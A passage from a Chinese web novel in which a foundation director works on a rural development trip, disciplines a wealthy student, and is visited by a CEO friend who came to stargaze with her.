陆应池还没说话,乔梧反问:“你又知道什么人间疾苦,你生在这样的人家吗?知道盐多少钱一袋、玉米多少钱一斤、一块地一年能种多少东西、从这里去镇上需要多少钱的车费、赶集一次背篓里的菜能卖多少钱可以买多少米多少肉吗?” 从亦被问住,好一会儿才反驳:“你知道?” “知道。” 所有人都忍不住回头,连村干部都好奇了:“乔理事长还知道这些?” 乔梧大致将所有的答案说出来,轻飘飘扫了脸色不好看的从亦一眼:“常识。” “有的人总喜欢用自以为是的目光来批判别人彰显自己的不同。”她挑了下唇,“实际上只会显得她做作又平庸。” 陆应池虽然也不懂这些常识,但他乐于看到从亦这种人吃瘪,居高临下地说:“在乔梧面前能闭嘴吗?只会显得你自作聪明。” “你也好意思说我?”从亦不服。 “为什么不好意思。”陆应池坦然道,“我是不知道这些,我家也的确很大,但我不会用那种所谓的优越感来嘲讽别人,恶心。” “好了。”乔梧收回视线,“别打扰别人工作,该干什么干什么去。” 从 亦被呛得脸涨红,背着自己的书包走到前面,气鼓鼓跟老师们搭起了设备。 乔梧跟钟闵站在一起,她缓声说:“学校怎么说?” 这次钟闵来这里主要是为了这里的希望小学。 “人口基数太少了。”钟闵说,“这里的孩子要么没上学,要么就跟村长女儿一样已经被父母接到镇上去上学寄宿,那些零零散散落在周围的人家户再走到这边来上学需要花很多时间,在这里的老师也基本都是支教志愿者,建学校的可能性不大。” “我考虑直接把钱放在基金会里,每年统计多少孩子到了入学年龄,统一送到镇上去,我们全权负责他们的学杂费生活费。”顿了顿,他试着问,“你觉得呢?” 乔梧笑了笑:“可行。” 在村里建希望小学其实不是什么难事儿。 但学校建起来了没有人也不是办法,到时候师资力量和资源分配不对等,还不如把孩子们送出去学习,更能融入社会一些。 没来由的,钟闵心里松了一大口气。 好像得到乔梧的认可是一件让他得意的事情。 “你治标我治本。”乔梧抬手,指尖从村口绕着划了一个圈,“这里修一条路,到时候把整个村化成一个全面的度假区,里面的散户也可以往外走,你可以考虑在村里建幼儿园,昨天我大致问了一下村长,村里三到七岁的留守儿童不少,因为年纪小不会送去读书,只能在家里待着,所以比起小学来说幼儿园性价比会更大,再建一个活动室图书室吧,小孩大人都可以使用。” 她是真的把指教用到了实处。 其实这些陆氏也能做,但乔梧没有全部揽下来,而是交给了他。 建个幼儿园和活动室花不了多少钱,但公益无论大小,只要做了就是做了。 钟闵沉了口气:“好,我回头跟村长沟通。” 爬了大半天乔梧是真的累了,她直接坐在地上,随手拔了些草在手里胡乱编着跟村干部们说话。 “去,给老师们送水。”乔梧对陆应池道,“别送从亦的。” 陆应池对此十分乐意,屁颠屁颠就去了。 还故意大声跟老师们说话:“老师您辛苦了,老师您喝水。” 然后走到从亦面前晃一圈,又走回来。 可以说他对自己以前的任何一个老师都没这么殷勤过。 从亦在那气得牙痒痒,但今天水是她自己放弃没有喝的,现在已经没有水潭给她喝水了,她只能忍着,坚决不低头。 直到地质专家们测量告一段落,走回来跟乔梧说话。 乔梧手里拿着一张图纸,是她今天一路过来一路画的,上面明确标明了哪里可以动土,什么地方适合做什么。 她一边听着地质专家们的话,一边在纸上做着标记。 轮到从亦的时候,她半天没听到声音,便抬起头。 从亦站在她身边,表情看着有些复杂,不明白为什么乔梧还能这么自然地跟自己说话。 但是想到乔梧让她做好自己的工作,她便面无表情地把自己测出来的数据说了出来。 乔梧询问了一下专家们的意见,老师们点头:“她在这方面一直都做得不错。” 这下乔梧才在纸上记录好,随手在旁边递了一瓶水给她:“辛苦。” 从亦脸都扭曲了,现在才给她水,什么意思! “我数到三,如果不要,在你做好下一件事之前,你就不会再接到水。”乔梧语调悠悠,“一、二……” 二还没数完,那瓶水就被从亦拿了过去。 要是其他人从亦还会犹豫一下,但乔梧是真的会当着她的面把水喝完,也不会让任何人再给她。 这瓶要是再不喝,她不保证自己还能不能安全走下山。 上午的考察告一段落,大家临时回到村长家吃饭。 还是那张桌子,只不过这次连陆应池都没再作,他现在发现在看着有尘埃闻着有油烟味儿的屋子里吃饭也不会少一块肉,他依旧能吃好几碗。 吃完饭大家都纷纷去各自落脚的村民家乘凉午休,乔梧送陆应池去村口,他傍晚的飞机,司机现在必须要送他去机场了。 陆应池这两天整个人都被磋磨得灰扑扑的,垂着脑袋:“你什么时候回家?” “忙完就回。”乔梧拿住一个小盒子给他,“我找村长他们要了点清凉油,一会儿要是晕车可以闻闻看管不管用,到了镇上你先去药店买点晕车贴。” 陆应池听着觉得不对:“你别把我当小孩。” 乔梧没有反驳:“嗯。” “那个从什么玩意儿的。”陆应池压着眉说,“她要是再作,你跟我说,我回去一定弄死她。” “她也是个小孩。”乔梧笑道,“只是比你们难管一点,你忘了你以前也不听话。” 陆应池觉得自己被污蔑了,炸毛道:“老子没她那么不讲道理!” “嗯是。”乔梧推着他上车,“快去吧,一会儿来不及了,记得把今天落下的课补上。” 陆应池爬上副驾驶,看着窗外柔和站着的人,想到乔梧拿自己跟从亦比的事情。 他以前从来不觉得乔梧对自己照顾有什么不对,可到了这一刻他却觉得很不平衡,乔梧只是把他当成了一个小孩,一个需要管教的小孩。 跟从亦一样,又或者跟陆柠一样。 但他不愿意。 他一把按住了司机调档的手,把车窗降下来,喊她:“乔梧。” “嗯?” “你等等我。”陆应池少见有这么认真的时候,“我会靠着自己走,能护住你的。” 乔梧笑着,却没说话。 等陆应池的车走了,她才在路边的一个石块上坐下,找到秦敛的电话。 “秦总,我跟你家的人总是会在意想不到的时间遇上。”她笑着说。 秦敛只要稍微思考一下就猜到秦家能在大山里跟乔梧遇上的人是谁了,说实话,虽然让乔梧帮着管教家里人,但每次都是先被遇上再被通知,真的很影响他的主动性。 “她惹着你了?” “对我很不礼貌。”乔梧按着免提,又说,“虽然帮你这个忙是能挣一笔外快,但我至少也得知道你们家是什么情况,才能养出这么些个没脑子的后辈来。” 这个时候被骂了秦敛偏偏还无法反驳,他叹了口气:“我父母对他们太溺爱了。” “那关你什么事。”乔梧不解,“她好像比你弟弟还讨厌你。” 或许是见到上次乔梧是怎么管教弟弟的,现在秦敛对她很是信赖,便把家里的一些状况三言两语说了:“所以我跟他们不是很亲。” “我明白了。”乔梧叹了口气,“做哥哥的就是这样。” “别代入。”秦敛听出了她话里的意思,冷嘲道,“陆尽之不招人待见纯是因为他不做人。” “行,我知道了。”乔梧站起身,“这次秦总也要记得打钱,你妹妹比你弟弟贵,我被她针对了。” 秦敛:“……” 他气笑了:“我觉得你跟陆尽之挺能玩到一起的。” “嗯,我跟他是好朋友。” 乔梧挂了电话,然后回头望向另外一辆停在这里的车:“听完了吗?听完了下来。” 一直趴在门后的从亦脸色一僵。 她怎么发现的?! 乔梧做任何事情之前都会习惯性观察一下周围,尤其是自己不熟悉的地方,所以来的时候一眼就看到了另外那辆车里缩下去的脑袋和升起来的车窗。 后来那车窗又偷偷降下来一点,显然就是要偷听别人说话。 乔梧扬了扬手机:“你哥已经把钱打到我手机上了,知道我要做什么了吗?” 从亦立刻探出头将车窗彻底降下来,气势汹汹 地说:“有本事来打。” “打你我嫌累。”乔梧走到副驾驶,拉开车门上了车,感受到里面空调的温度后笑了下。 这笑声十分不收敛,听得从亦火大:“我来换衣服!晒了一早上吹个空调不可以?!” 她的确是来换衣服的,早上的衣服被弄湿又弄脏的,很不舒服。 而且现在是午休时间,她在自己车上吹吹空调又不犯法。 “这款车好像是三百万。”乔梧说。 “那怎么了,我妈买的。” “那你开着三百万的车跟我说什么有钱人。”车里的凉爽让乔梧舒服地倚着,“花着大把的钱,享受着别人没有的优待,然后高举正义清廉的大旗来抨击我们这些人的庸俗,你怎么这么有意思?” 从亦别开头:“我没有像你们一样仗势欺人,唯利是图。” “商人都唯利是图,不唯利是图的叫菩萨,你开的三百万戴的三百万都是唯利是图里的利,今天用在这里给这里的村民提供就业机会走出大山希望的也是那点利。”乔梧说,“哪怕我是用来做样子的,你也没有立场说知道吗?因为我做了,你没有。” 从亦倒吸一口气。 乔梧看了眼后面那堆换下来的衣服:“如果你今天没有搞那一出,你会跟你的老师一样受人尊敬,别人还会夸你一句年少有为吃苦耐劳,而不是像早上那样在这么多人面前抬不起头发不出火。” “现在知道什么叫做仗势欺人了吗?”乔梧问她,“读这么多年书,难道没人教过你有个词叫做眼见为实?” 从亦想说她对其他人不这样。 可面对乔梧她说不出口。 乔梧手机响了一声,她低头看了眼,是银行卡到账了,鉴于微信转账有限额,秦敛之前还特意要了她的银行卡号。 她将记录给从亦看:“看吧,我的一堂课在你哥这里值这么多钱。” 从亦瞪大了眼睛,抬手想要抢过手机:“他疯了吧!你这是诈骗!” 乔梧一巴掌拍开她的手:“有没有可能你在你哥心里就值这么多。” “他?!” “虽然你哥说得模糊,但有脑子就应该想得出来,你和秦天睿能过得这么逍遥快活,都是你哥给你们当试验品换来的。”乔梧用手机戳了戳她的脸,“怎么你爸妈用这种方式管你哥你们能接受,你哥用这种方式管你们,你们就觉得他很可恨呢?” 从亦愣了愣。 她并不知道以前爸妈是怎么管秦敛的:“可是他是继承人。” “那给你继承吧。”乔梧耸肩,“反正你觉得你很牛逼,你一定能把公司管得很好,加上你二哥,你俩强强联合一定能超越陆尽之,成为国内屈指一数的年轻企业家。” 从亦听出了她的话外之音:“你嘲讽我?” “听得出来啊。”乔梧点头,“没错,就你们这种脑子,都不用给你们一年,秦氏就会全然完蛋。” 她扭过头,挑眉:“怎么,你全世界都去过,就是没去过你哥的公司看一看他每天怎么工作的么?” 的确,从亦没有去过。 她巴不得跟秦敛搭不上关系,可她刚才听到了乔梧跟秦敛打电话。 而她对秦敛的很多认知偏见都是从父母那里来的,如果从父母那里就歪了的话…… 从亦皱了皱眉。 乔梧打秦天睿一巴掌好几万,那是在秦敛心中,秦天睿上那一课的价格。 今天在车里这几分钟,在水潭旁的一个小时,她这堂课值六位数。 “他为什么不亲自跟我说。” “妹妹。”乔梧听笑了,“你指望你父母那样的人能教出什么好东西来,秦天睿和你这样的?有一个还算正常的你们就烧高香吧。” 这一次,乔梧把她们一家都给骂了。 从亦还无法反驳。 她不服道:“陆伯伯也没把几个儿子教好啊。” “所以陆家有个陆尽之,你家有个秦敛。”乔梧并不否认这件事,毕竟陆家兄弟貌合神离是人尽皆知的事情,“而且你搞错了,他们几个或许有缺点,但不会在外面任人把自家人说得那么不堪,更别提自己亲口说。” 她问:“你想想,今天早上陆应池有哪里做得不对吗?” 除开本来的那些滤镜,如果从亦不认识陆应池,也没有办法说今天中午还干了人家主人四大碗饭的陆应池是个眼高于顶的纨绔。 难道说他吃得太多了对人家不礼貌? 乔梧哼笑:“所以你连陆应池都不如。” 眼看着时间差不多了,她也不愿再在这里浪费时间,于是坐直打开车门下车,回头关车门时她的手搭在车门上:“从亦,下次评价别人的行为之前,至少要先自省自己有没有做到这一点,不然你在别人眼里就是个笑话。” 从亦跟着熄火下车,想了想又跑去后备箱拿了好几瓶水放在自己的背包里。 乔梧看到她的动作,乐了:“放心,我不是你,只要你做得好,我是会给你水喝的。” “哼。” 从亦心想,等她去了她哥的公司以后,再回来狠狠评价乔梧! 惦记着那几十万的“补课费”,下午嫉富如仇的从亦再也没有作妖,老老实实吭哧吭哧地跟在老师后面帮着测量数据。 乔梧也算是明白,为什么秦敛和秦天睿白白嫩嫩一副富家贵公子的模样,这小姑娘却是小麦色了。 全是晒出来的,抛开不聪明的脑子和不高的情商不谈,她也的确能吃苦。 下午从山上回来,村长切了西瓜分给大家。 从亦一下午除了沟通数据就没再跟乔梧说过话,坐在院子里不吭声。 乔梧走到她身边,坐在小板凳上,将西瓜递过去:“辛苦从老师。” 从亦身体颤了颤,惊愕道:“什、什么老师?!” “你在这方面比我专业,喊你一声老师有问题?”乔梧将西瓜往前递了递,“吃吗?” 谁也不能拒绝在这个时候吃一口汁水多多的西瓜。 从亦也是。 她将西瓜接过去:“我还是学生。” 耳根却红了。 “你在这一点上比秦天睿强。”乔梧也吃着西瓜,“你比他有自知之明。” “他一直那样。”从亦说完后想起乔梧说不能在外面说家里人坏话,又改口,“但是他……算了。” 实在夸不出来优点。 她闷下头。 又忍不住侧头偷偷看乔梧,看到了她手臂上的一道道红痕,都是在林子里走的时候被草划出来的。 哪怕走了那么多路,乔梧也一点没喊过累,依旧能跟得上大家,能做得好任何地方的考察记录,能认真地跟村支书他们交流未来村民的滞留问题,再一点点把计划改进。 她的身边从来没出现过这样一个人,软硬兼施,却又的确令人服气。 “对不起。”从亦嘴巴杵在西瓜上说。 “嗯?”乔梧睨她一眼,“要是你道歉的声音有你跟我叫板的声音大就好了。” “……”从亦抬起头,几乎是吼出来的一大声,“对不起!” 里面坐着吃西瓜的几人往外看了眼,从亦的老师稀奇道:“乔理事长真有本事,一天就给收拾老实了,那小妮子脾气倔得很呢。” 钟闵笑笑:“她一直很能抓住人的弱点。” “你们都跟乔理事长很熟吗?” “不算。”钟闵说,“但我也被她收拾过。” 其余人:“???” 门外,乔梧还没说话,村支书就从外面推门进来,匆匆道:“乔理事长,村口有个人找您!” “找我?” 乔梧在这里并没有认识的人,“陆应池回来了?” “不是。”村支书抬手比了比,“跟他差不多高的一个年轻人,说是您的朋友,我说带他过来但他拒绝了。” 朋友? 乔梧起身先去洗了个手:“我去看看。” 郭力言也跟着起来:“要陪您一起去吗?” “不用。” 乔梧有种隐隐的预感。 她很快走出院子,踩着每户人家院里透出来的灯光,一直来到了村口。 村里没有路灯,但是有辆车的内饰灯开着,能映出站在车门外的微微仰着头的人的轮廓,颀长笔直。 听见声音,他转过头来,看着她走近。 “陆尽之?!”乔梧感觉自己呼吸都要凝住了,她在陆尽之面前站定,终于能看清这人的模样。 他只穿了一件黑色的衬衫,俊雅如墨的眉眼在他笑起来的一瞬冲去冷淡:“嗯。” 乔梧茫然地问:“你怎么来了?” “你说要看不见了,所以……” 在村庄安静的夜里,陆尽之的声音裹着风,吹得很轻。 “来看星星。” 50-60 第51章 第五十一章授受不亲 来看,星星? “今天不是周一吗?”乔梧没太反应过来,“这么突然?” “不突然。”陆尽之说,“工作做完了,下午过来的。” 一路尘土飞扬,他的车已经灰扑扑的,但他却直接往后轻轻靠在了上面。 乔梧提醒:“脏。” 陆尽之身形未动,似有不解地看她一眼:“我都到这儿来了,脏?” 他是不能忍受脏乱,要求高,但也不是没脑子,在什么样的环境做什么样事也很清楚,颠簸一天已经很累了,他不想再继续站着说话,这个时候脏是什么阻挡他休息的破理由。 乔梧一愣。 想想也是,她爬上爬下一天身上也没见得有多干净,于是她也在陆尽之身边坐下:“你说最近公司事情多,我以为你会很忙。” “工作源源不断。”陆尽之微仰着头,看着点点星空,“但星星只能看一次。” 在她试图将星空分享给他却失败的时候,他就开始查机票了,并且在脑子里迅速规划好了未来两天的工作计划和行程。 他从来都不愿委屈自己,也不愿意为了苦恼取舍,想做什么就做。 “怎么叫只能看一次。”乔梧觉得他太夸张了,“你房间里不是还有天文望远镜吗?” 陆尽之笑了下,抬起手。 冷白的手腕递到乔梧眼前,他骨骼分明的手跟黑色的腕表形成鲜明的色差,有种莫名的禁欲感。 “2025年10月25号21:42的星星,有且仅有一次。” 乔梧被他这种莫名认真的执着逗笑:“所以你为了这个跑了这么远?” 陆尽之收回手,不在意道:“只要能走到的地方,在我看来都不算远。” 他的确有说这种话的底气。 可能是因为这次陆尽之是私人行程,只是单纯过来看一次星星,所以乔梧也没有把工作上的事说给他听,而是跟他闲聊了起来。 她轻声说:“你长大以后变得爱说话了。” 明明在她被剧情困住之前,陆尽之还是个讨厌吵闹喜欢独处的少年,哪怕两人共同待在藏书楼的空间里,他都能一声不吭地看完一天的书,往往都是在他离开后乔梧才能在他看完的书上找到他留下的那些标签,明明抬头就能说句话。 陆尽之:“语言是最能直观表达的方式。” 进入公司后他才知道原来有很多脑子要拐很多道弯,不说明白那些人从来不知道要做什么。 “也是。”乔梧认可地点头,“毕竟很少有人能理解你。” “你也是?” “我?”乔梧并不敢说自己有多了解陆尽之,因为她也只是一个普通人的脑子而已,“应该不算太了解。” 陆尽之侧过头来:“为什么不问?” “问了你会说?” “会。” 说实话,乔梧还是第一次跟这种性格的人这么面对面交流,一时之间还真不知道要怎么下手,家里那个测谎机器人在陆尽之身上应该永远也用不到。 陆尽之莞尔:“但你已经比大多数人了解我了。” “换做任何一个跟你每天相处的人都会了解吧。” 对此陆尽之不置可否:“比如家里那几条?” “……” 条这个量词就很灵性。 乔梧笑得肩膀都在颤抖,她以前怎么就没发现,原来陆尽之的本性这么有意思。 “怎么样?亲眼看到星星。” 这次换做是陆尽之笑了:“我看起来是很文艺的人吗?” 乔梧:“那不然?” 你吃饱了撑的? “不是。”陆尽之长腿轻轻交叠,闲散地说,“肉眼下星星长得都一样。” 家里的天文望远镜只不过是过去看到相关的书,对那片位置的宇宙好奇而已,并不是喜欢看。 就像头顶这片星空,在哪里看不一样? 或许出了公司他会抬头看一眼,但绝对不会花几个小时跑来山里看。 “但邀请我看星星的朋友,我只有你一个。”他轻轻拍了拍手底下的引擎盖,“所以我是在为你买单。” 因为这份邀请让他心情很好。 而陆尽之的话让乔梧心情也很好,有一个这么相信她且因为她一句随口的话就会千里迢迢奔赴的朋友,她很荣幸。 “可惜了,这会儿要是有口酒就好了。” 虽然不爱喝酒,但这个场景很适合碰个杯。 “会有的。” 时间临近十点钟,乔梧手机又响了,是陆柠打来的。 这个点一般都是门禁前不能赶回家来报备,乔梧接起来。 没想到对面的声音异常亢奋。 “乔梧,我要举报!!!”不用看就知道陆柠是什么两眼放光的表情,“二叔到现在还没回家!” 旁边还有个人在小声帮腔:“听说下午也没去公司。” 是才回到陆宅,并且发现自己的车钥匙一把都不剩的陆应池。 乔梧:“……” 她缓缓扭过头,看向神色不明的陆尽之。 三秒后将自己的手机放到了陆尽之手里。 偏偏陆柠和陆应池还不知道危险的来临,一个比一个更加积极。 陆柠:“你不在家他都不跟我们一起吃饭的,他就是当面一套背后一套。” 陆应池:“我觉得他不是很服气,连个小目标都没定,没上进心。” 陆柠:“是啊,这个家不能只靠我们撑起来,他也是一份子。” 陆应池:“你在山里喂虫子,他居然还敢旷工。” 乔梧朝陆尽之挑了下眉。 还不打断吗? 陆尽之安静地听着,听着家里几条小狗把他七宗罪都给数落清楚了,又听他们问:“一起举报可以一起得到奖励吗?” 一直没等到回答,陆柠疑惑地摇摇手机:“喂?乔梧你在听吗?” 乔梧还没出声,陆尽之就悠悠道:“在听。” 电话那头一瞬间仿佛被掐住脖子的鸡,没有一点声音。 隔了好一会儿,陆应池才狐疑道:“我好像听到了那只猴的声音。” 陆柠小声问:“我是不是听错了,有变声器吗?” 陆尽之话音温和带笑:“没听错,我是猴叔叔。” “……” “想要什么奖励?”陆尽之耐心地说,“正好在乡下,我一起烧给你们。” “…………” 电话那头乒铃乓啷一阵响动,紧接着电话啪一下就被挂断了。 “卧槽?”陆应池差点被小锤子砸到手,“他怎么会跟乔梧在一起?!” 昨晚还在打视频,今天就见到真人了?! “你两前后脚。”陆柠生无可恋地趴在桌上,“我完了,我真的完了。” 一声猴叔叔,一辈子猴叔叔。 她明天将要把钟时夏给暗杀掉! “你的卡也被冻了?” 未成年人匆匆拿出手机,发现还好,没什么动静。 陆应池脸色不太好看:“你车钥匙呢?” “车?” 虽然陆应池和陆宣没驾照的时候就已经买了车摆在车库了,但是她对这些东西没兴趣,以前 也没好意思让人给她买,所以至今她的小车库里只有…… 陆柠认真地问:“四轮脚踏车他能锁吗?” 两人对视一眼,觉得今晚睡着都要担心看不到明天的太阳了。 “我觉得不行。”陆应池说,“不能让他这么肆无忌惮,为所欲为。” “那把他的鸡蛋偷了行不行?” “……”陆应池抓了一把核桃塞进她的嘴里,“你踏马这次语文考了多少分!” 乔梧已经可以想象到另外一边是怎么个鸡飞狗跳的情形了。 她按了按眉心:“你一定要这么吓唬他们吗?” 非得等到他们把话说完、铺垫好了再给他们致命一击。 “别人不给我回馈,就只能自己要了。”陆尽之将手机还给她,声音淡了些,“被告状的是我。” “我也不会把你怎么样。” 这话听着有点意思,陆尽之饶有兴致地盯着她:“你还想把我怎么样?” “不怎么样。”乔梧接过自己的手机,眉开眼笑,“我朋友今天过来,我高兴还来不及。” 闻言陆尽之原先有些戏谑的神色稍稍收敛,黑眸望着她的眼睛几秒,忽的道:“这样才好。” “嗯?” “天太黑了。”陆尽之移开视线,“如果你不说,我感知不到你的情绪。” 虽然是自己要过来的,但也想要得到回馈。 瞬间乔梧对他有些感同身受,或许他一直独自生活在自己的世界里,就跟异世界来的她一样。 从陆应池他们的话来看,他能直观感受到的只有对方的讨厌,所以如果不再多说些什么去看对方的反应,他没有办法正确的得到对方话里的其他信息。 乔梧问他:“你会很辛苦吗?” “谈不上。”陆尽之只是觉得偶而会孤单。 所以乔梧不在的十二年里,他一直都很孤单。 “我现在问你过去十二年你在哪,你会说吗?” “我说我一直在,只是有些原因没有办法跟你们交流,你会信吗?” “信。”陆尽之没有丝毫犹豫,“你是我认可的人。” 在这一刻他忽然就不觉得孤单了,甚至罕见的共情了对方跟自己一样的孤单。 得到这句认可,乔梧忽然多出了很多勇气,她问:“那我可以问你一个问题吗?” “嗯。” “如果我一直没有回来,你会怎么处理?” 她总是会回想当初梦境中那声“滚”,以及陆尽之在雨夜中寂寥的身影,困着她一直到现在都没有办法释怀。 陆尽之眉心轻轻皱了一下。 他很少会因为某件事困惑,但这件事他的确一直都没有得到答案。 “不知道。”他如实回答,“曾经想过解雇。” 但他并不确定到最后一刻会不会收回这个念头。 “但有可能只会放在一边。” “放在一边?” 以陆尽之这种事实斟酌衡量的性格,在他心里过去的自己重要到可以忍受原本的那个“她”一直存在? 乔梧忍不住追问:“那十年很重要吗?” 重要到甚至可以超越十二年或是更久。 “也不知道。”陆尽之笑了下,“但如果能预见是现在的结果,那就很重要。” 意识到乔梧对他有点误解,他失笑:“我只是比旁人聪明一点而已,并不是神仙,很多事情也只有到了那一刻才知道要怎么选。” 换个思路,除了脑子比普通人好一点,他其他地方连普通人都不如。 普通人至少会直观感受喜怒,那是做人的基本。 但他不会。 陆尽之一直都对自己有很清晰的认知。 乔梧听懂了他未尽的话,也意识到了自己的梦其实并不是剧情原本的结局,而是预知。 如果没有那十年,陆尽之会毫不犹豫把“她”赶走。 但因为那十年,陆尽之选择把她放在了一边,或许是一直在等,也或许是下不去手,直到最后一个也只说了一句“滚”,那是他对她独有的宽容和留给她最后的退路。 她忍不住动容:“谢谢。” 陆尽之微微站直身体,视线落在她的眼睛上,忽的道:“你小时候从来不哭。” 那当然了,都多大的人了还哭什么,生活在那样的环境里她笑都笑不过来。 乔梧擦了擦眼尾,忍下眼里的涩意:“我现在是高兴的。” “嗯。” 有件事陆尽之过去可能没有答案,但现在他有了。 如果现在的乔梧再次消失,十年,十二年。 他这次可以确信,他会等。 因为他确信生命里不会再出现这样一个人。 所以这是值得的。 秋天的夜越深越凉,村长已经担心地发消息询问了,乔梧不想耽误人家休息,所以带着陆尽之回去了,没想到走进院子时所有人都还在。 一看到陆尽之全部人都蹭蹭蹭站起来了。 几个懵逼的村干部也跟着起身,茫然地问:“怎么了?” 这架势怎么跟迎接皇上似的。 “这是我朋友,陆尽之。”乔梧介绍,“他来找我玩的。” 钟闵和郭力言表情都有点扭曲,生生把要打招呼的“陆总”两个字给咽了下去。 找谁玩? 虽然知道乔梧是陆氏基金会的理事长,但由于前一天已经来了一个姓陆的小少爷,所以大家也以为这个人跟之前那人一样。 “我们还说担心你这么晚不回来呢。”村长忙拿来一个凳子,“这位朋友,快坐。” 陆尽之没有陆应池那些毛病,他的毛病因人而异。 更何况他没出国之前也曾经下乡做过公益,所以还算习惯了这些环境,很自然就坐了下来。 乔梧在他身边坐下:“顾着跟朋友说话去了,抱歉。” “没事没事。”村长说完以后发现气氛不太对劲,“你们怎么不说话?” 所有人里,一个郭力言是下属的下属,当初在晚宴上连话都不敢跟陆尽之说;一个钟闵是初出茅庐还没有任何大权,另外的地质学家也只是在电视新闻上见到过这位传奇人物。 更别提早上还欺负过乔梧的从亦了。 见到陆尽之以后,一个比一个老实。 陆尽之也温声反问:“怎么不说话?” 钟闵一直记得他姐说过,不管在背地里怎么说,但陆尽之这个人不能惹,所以他站起身,语气没有丝毫起伏:“我给您倒水。” 郭力言反应过来:“我给您捶腿。” 陆尽之:“……” 其他人:“???” 他把自己的凳子拉得离这两人远了点儿。 乔梧挡住了郭力言的动作,回头对陆尽之介绍:“这些是村里的干部,还有钟闵你见过,钟禾静的弟弟,另外两个是地质学家,孙烨老师和蔡宏达老师,这是从亦,他们的学生。” 从亦已经做好了陆尽之来给乔梧报仇的准备,却没想到乔梧居然没有提起一点她的身份。 她惊讶望向乔梧。 但后者表情平静,压根没有把她的错愕当回事。 “这是郭力言,我新招的那个助理。”乔梧没有忘记郭力言来自己身边的目的,她也不介意自己成为别人的跳板,所以很自然地引荐,“力言,你别太紧张。” 而陆尽之原本一直没说话,听到这里他才喝了一口水,似是没听懂一样重复了一遍她的话:“力言?” “我,我姓郭。” 陆尽之嗯了声:“ 你们很熟?” “都一起工作好几天了。”乔梧纳闷,“能不熟吗?” “有道理。”陆尽之平静地点头,“那我们认识了多久?” “……” 乔梧愣了下,反应过来:“不是,你这也要较真一下?” “不应该?”陆尽之放下杯子,静静回望,“他也是你的朋友吗?” 不知不觉间,周围的人再次陷入了安静。 几个已经结婚生子的村干部面面相觑。 这听起来不太像朋友啊。 如果是朋友的话,好像太越界了? 有钱人管这种关系叫朋友吗? 连郭力言都忘了自己要做什么,他呆呆地看着陆尽之,手不自然地垂下。 陆家每一个人对乔梧都有占有欲,但陆尽之这种显然不一样。 他太坦然太直接,并且平等又敏感地排斥跟乔梧亲近的人,包括朋友,还能这么正大光明地圈地盘求证自己的地位。 陆尽之不是陆应池那种还没从象牙塔走出来的人,他冷静聪明,自然知道自己在做什么。 他…… 郭力言心里狂跳,因为他意识到自己跟陆尽之隔了一条很长很长的鸿沟。 可他却没有办法在陆尽之面前开口承认,自己只是乔梧的下属而已。 所以他沉默着没出声。 乔梧想象了一下自己改口叫尽之的场景,有点难以接受,所以她很诚实地说:“都是朋友。” “你也会邀请他……” “不会。”乔梧眼疾手快地按住了他的胳膊,“喝水,喝水吧求你了。” 邀请别人看星星,还跑来这么远什么的,对于陆尽之这种情感缺失的天才很正常,但对于普通人来说真的很奇怪。 陆尽之垂眸,没再说话。 隔了秒,又把自己的胳膊从她手底下抽了出来。 他不是那两条没有边界感的小狗。 男女授受不亲。 第52章 第五十二章二更 陆尽之去了隔壁的村民家里休息,陌生环境下他有自己的生物钟,第二天很早就醒来,简单洗漱完后来到了村长家。 乔梧蹲在院子里的水池边洗漱,额前头发被打湿,往他看过去的时候眼睛湿漉漉的。 可惜昨晚光线太暗,或许那个时候她也是这种表情。 陆尽之觉得自己有点奇怪,他很欣赏乔梧自信的样子,却也很喜欢看到她现在这种,状似很脆弱的表情。 “你什么时候走?”乔梧走到他面前。 陆尽之一直注视着,直到她眼里的水雾消失才开口:“马上。” “还真是任性。”乔梧将脸盆放下,“我送你去村口吧。” 陆尽之没有拒绝,也不认为这是分别,毕竟再过几天乔梧就会回去了。 他去跟村长他们告别,乔梧站在门口等他。 这时郭力言从另外一边的小路绕过来,远远看到乔梧一个人便道:“乔理事长,我住的那户人家大嫂做了桂花香饼,挺有味道,你尝尝。” 他双手把包好的香饼递到乔梧面前:“碎饼屑有点多,我给拿着吧。” 闻着很清香,乔梧才起来还真饿了,便从他手里拿了一小块尝了尝,眼睛一亮:“好吃。” 郭力言忍不住笑:“要是喜欢,我一会儿再找那个大嫂买一点,她做了很多。” 说着还把剩下的香饼往她面前递了递,又用另外一只手虚虚接住落下的饼屑。 “你拿去分给其他人一点儿。”乔梧又拿了一块后轻轻用手背推开他的小臂,“我吃不了太多,尝个鲜味就好。” 郭力言没有坚持:“好。” 他拿着剩下的饼绕过来,一抬眼却看到陆尽之单手插兜站在不远处,目光淡淡地看着他。 他脚步顿时停下:“陆、陆总。” “你好了?”乔梧回头,指指手里的香饼,“要试试吗?不是很甜。” “好啊。”陆尽之唇边扬着不是很明显的笑意,望着郭力言说,“我尝尝?” 郭力言忙走到他面前,将饼递过去。 哪里想到陆尽之抬手拿起一块后,却没立刻吃。 陆尽之长得跟陆应池差不多高,离得近时哪怕是郭力言这种大男人也要略抬眼才能与他对视上。 可当郭力言对上那双笑意盈盈的眼睛时,却觉得对方并没有在笑。 明明陆尽之的声音一点都不冷淡,他只是垂着眼睑,用微低的声线问:“怎么不给我接?” 过去郭力言总是会在他哥和他父亲那里听到陆尽之这个人身居高位难以揣测,当初远远看了一眼他并不觉得有什么,但直到此刻才明白对方从骨子里透出来压迫感。 哪怕是一句话也能让他觉得不安。 郭力言收回视线将手掌摊开:“陆总。” 可陆尽之却笑了下,径直绕过了他:“不用了,郭助。” 两人的交锋不过就是那么几秒,乔梧根本没听到他们在说什么,她从兜里拿出随身带的纸巾递给陆尽之:“给。” 陆尽之接过来,挡着碎屑吃了那一块香饼。 两人的身影一道从院门外消失。 但郭力言却站在原地许久都没回过神,明明是凉爽的早晨,但他后背却莫名渗出冷汗。 村长从里面走出来,见他不在状态便关心地问:“郭先生,您怎么了?” “没事。”郭力言将剩下的香饼递给他,“你们尝尝这个吧。” “我们就不吃了,都是自家做的,留给钟总尝好了。”村长并不知道陆尽之的身份,但是刚才陆尽之离开之前特意去跟他打招呼了。 虽然那个年轻人看起来不普通,话也不多,但挺不错的。 “乔理事长那个朋友来这一趟就为了见她一面,其实不是朋友,是她男朋友吧?”村长八卦地问、 郭力言愣了下,下意识摇头。 “不是吗?”村长疑惑自己看走眼了,“我看他两挺配的,那年轻人脾气也好。” 脾气……好? 也是,对于外人来说陆尽之不就是一直笑着的么。 他笑了下:“他是我们陆氏的总裁。” “什么?!” 村长吓了一跳。 所以还是乔理事长的上司?! 坏了,昨晚没有好好招待,今天就把人放走了! 